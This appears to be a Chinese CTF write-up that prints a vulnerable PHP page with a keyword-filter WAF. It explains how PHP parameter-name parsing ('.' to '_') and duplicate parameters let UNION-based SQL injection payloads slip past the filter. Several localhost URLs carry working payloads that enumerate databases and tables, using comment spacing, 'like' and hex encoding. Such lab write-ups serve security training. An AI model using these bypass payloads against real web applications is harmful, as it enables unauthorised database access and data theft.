赞
踩
目录
获取数据库名,这里是不可以使用database的因为括号被过滤乐
- <?php
- header("Content-type: text/html; charset=utf-8");
- require 'db.inc.php';
- function dhtmlspecialchars($string) {
- if (is_array($string)) {
- foreach ($string as $key => $val) {
- $string[$key] = dhtmlspecialchars($val);
- }
- }
- else {
- $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
- if (strpos($string, '&#') !== false) {
- $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
- }
- }
- return $string;
- }
- function dowith_sql($str) {
- $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
- if ($check) {
- echo "非法字符!";
- exit();
- }
- return $str;
- }
- foreach ($_REQUEST as $key => $value) {
- $_REQUEST[$key] = dowith_sql($value);
- //用空格分割字符串
- $request_uri = explode("?", $_SERVER['REQUEST_URI']);
- //i_d=1&i.d=aaaaa&submit=1
- if (isset($request_uri[1])) {
- $rewrite_url = explode("&", $request_uri[1]);
- //print_r($rewrite_url);exit;
- foreach ($rewrite_url as $key => $value) {
- $_value = explode("=", $value);
- if (isset($_value[1])) {
- //$_REQUEST[I_d]=-1 union select flag users
- $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
- }
- }
- }
-
- if (isset($_REQUEST['submit'])) {
- $user_id = $_REQUEST['i_d'];
- $sql = "select * from ctf.users where id=$user_id";
- $result=mysql_query($sql);
- while($row = mysql_fetch_array($result))
- {
- echo "<tr>";
- echo "<td>" . $row['name'] . "</td>";
- echo "</tr>";
- }
- }
- ?>
代码先走这里将输入的数据进行过滤
然后往下,用?将代码分割
再往下&继续分割
然后继续往下,用=进行分割
进行判断进入过滤
过滤以下字符
然后再继续往下走,再进行一个查询
首先php在遇到两个相同名字参数时,php是取后一个的,如下图最终i_d的值为1
当参数中出现.的时候会被解析成_,如下图
可以使用使用php小特性和全局污染绕过,在这里的时候会将.转换成下划线,然后桡骨第一个waf
然后在这里取值的时候.和_会区分开,然后我们可以在第一个i_d写我们的payload,在i.d写正常数据用来绕过waf
这里使用/**/是不想让url编码入库
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,3&i.d=123
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,database()&i.d=123
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata&i.d=123
这里连成一串可以使用limit过滤
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata/**/limit/**/12,1&i.d=123
这里由于等号被过滤乐所以使用like,然后查表名的时候由于'被过滤所以使用了16进制编码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=123
再然后获取列名,可以使用limt一个个获取
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。